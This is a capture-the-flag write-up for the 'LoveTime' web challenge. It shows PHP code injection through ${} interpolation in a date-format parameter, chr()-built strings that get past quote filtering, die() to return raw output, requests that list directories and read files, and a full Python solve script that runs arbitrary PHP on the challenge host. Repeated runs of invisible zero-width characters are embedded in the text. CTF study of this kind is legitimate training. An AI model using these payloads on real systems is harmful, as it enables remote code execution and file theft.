← Back to Writeups
CUSTOMMediumWeb

LoveTime

XESXOR9/2/20264 min read
#web#custom#medium#arbitrary_code_execution_via_e#chr_string_construction_to_byp#die_to_bypass_date_output_mang#php_variable_interpolation_in_#scandir_directory_enumeration_

LoveTime

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: arbitrary_code_execution_via_eval_format_string, chr_string_construction_to_bypass_quote_restrictions, die_to_bypass_date_output_mangling, php_variable_interpolation_in_double_quoted_string, scandir_directory_enumeration_for_nonstandard_flag_filename

Summary

Walkthrough of the CUSTOM Web LoveTime. Task: PHP web app with user-controlled date format parameter processed in eval/double-quoted string context. Solution: PHP ${} variable interpolation for code injection, chr() to bypass quote restrict

Description

You'll find love!

A PHP web application at https://lovetime.taipanbyte.ru/ that displays a random future date — supposedly when you'll "find love." The format GET parameter controls the date output format. The app is based on HackTheBox's TimeKORP challenge (same HTML structure, same authors: makelaris, makelarisjr) but with a critical modification: it uses PHP's date() function instead of shell exec("date ...").

Analysis

Reconnaissance

The application is a PHP MVC web app with the following structure:

  • /models/TimeModel.php — date model (200 OK)
  • /controllers/TimeController.php — controller (200 OK)
  • /views/index.php — view template (200 OK)
  • /Router.php — routing (200 OK) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Server: nginx, PHP 7.4.33. No cookies, no other endpoints. POST/OPTIONS return 405.

Format Parameter Behavior

The format GET parameter (default: r for RFC 2822) is passed to PHP's date() function. Key observations:

  1. Letters are date format characters: Y → 2026, l → Friday, s → seconds
  2. Backslash-escaped chars pass through literally: \c → c
  3. Special characters pass through: ', ;, /, space, |, {, }
  4. Random future timestamp: Each request generates a different future date ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Ruling Out Command Injection

Unlike the original TimeKORP (which uses exec("date '+" . $format . "' 2>&1")), this app does NOT use shell execution:

  • Time-based blind injection (sleep 5) showed no delay
  • Command separators (;, |, `) had no effect
  • All letter output was consistent with PHP date() format characters

Key Discovery: PHP Code Injection via ${}

Testing ${phpinfo()} as the format parameter returned a 68KB phpinfo() output — confirming the format string is processed in a double-quoted PHP string context (likely via eval() or similar). This allows PHP variable interpolation via the ${} syntax. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The vulnerable code is likely something like:

php
eval('$output = date("' . $format . '", $timestamp);');

When $format contains ${phpinfo()}, PHP evaluates the expression inside ${} during string interpolation.

Quote Restriction

Direct function calls with string arguments (using quotes) caused 0-byte error responses. For example:

  • ${file_get_contents("/flag")} → 0 bytes (parse error from quotes inside eval'd string)

The workaround: use chr() to build strings character-by-character without quotes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Output Mangling Problem

Without die(), the expression result is passed to PHP's date() function, which interprets every letter as a date format character:

  • C → ISO 8601 date, T → timezone, F → month name
  • The flag CTF{REDACTED} would be mangled beyond recognition

Solution: wrap the payload in die() to output directly to stdout and halt execution before date() processes the result.

Solution

Step 1: Confirm Code Execution

GET /?format=${phpinfo()}

Returns 68KB phpinfo() output — arbitrary PHP code execution confirmed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Directory Listing

Build the path / using chr(47):

GET /?format=${die(implode(chr(10),scandir(chr(47))))}

This lists the root directory, revealing the flag file is named flagOwIl6 (not the standard /flag).

Step 3: Read the Flag

Build the path /flagOwIl6 using chr() for each character:

GET /?format=${die(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103).chr(79).chr(119).chr(73).chr(108).chr(54)))}

Character mapping:

  • chr(47) = /
  • chr(102) = f
  • chr(108) = l
  • chr(97) = a
  • chr(103) = g
  • chr(79) = O
  • chr(119) = w
  • chr(73) = I
  • chr(108) = l
  • chr(54) = 6 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solve Script

python
#!/usr/bin/env python3
"""
LoveTime — TaipanByte CTF
PHP code injection via ${} variable interpolation in date format string.
Uses chr() to bypass quote restrictions and die() to bypass date() mangling.
"""
import requests

BASE = "https://lovetime.taipanbyte.ru"

def php_string(s):
    """Build a PHP string expression using chr() calls — no quotes needed."""
    return ".".join(f"chr({ord(c)})" for c in s)

def execute(code):
    """Execute arbitrary PHP code via ${} interpolation in format parameter."""
    payload = f"${{die({code})}}"
    r = requests.get(BASE, params={"format": payload}, timeout=15)
    return r.text
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 1: Confirm code execution
print("[*] Testing phpinfo()...")
r = requests.get(BASE, params={"format": "${phpinfo()}"}, timeout=15)
print(f"    phpinfo() response: {len(r.content)} bytes")

# Step 2: List root directory to find flag filename
print("[*] Listing / directory...")
code = f"implode(chr(10),scandir({php_string('/')}))"
listing = execute(code)
print(f"    Root directory:\n{listing}")

# Step 3: Find and read the flag file
flag_file = None
for line in listing.strip().split("\n"):
    if "flag" in line.lower():
        flag_file = "/" + line.strip()
        break
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if flag_file:
    print(f"[*] Reading {flag_file}...")
    code = f"file_get_contents({php_string(flag_file)})"
    flag = execute(code)
    print(f"[+] FLAG: {flag}")
else:
    print("[-] No flag file found in root directory")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering arbitrary_code_execution_via_eval_format_string, chr_string_construction_to_bypass_quote_restrictions, die_to_bypass_date_output_mangling, php_variable_interpolation_in_double_quoted_string, scandir_directory_enumeration_for_nonstandard_flag_filename was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-22 • CUSTOM • LoveTime • Difficulty: Medium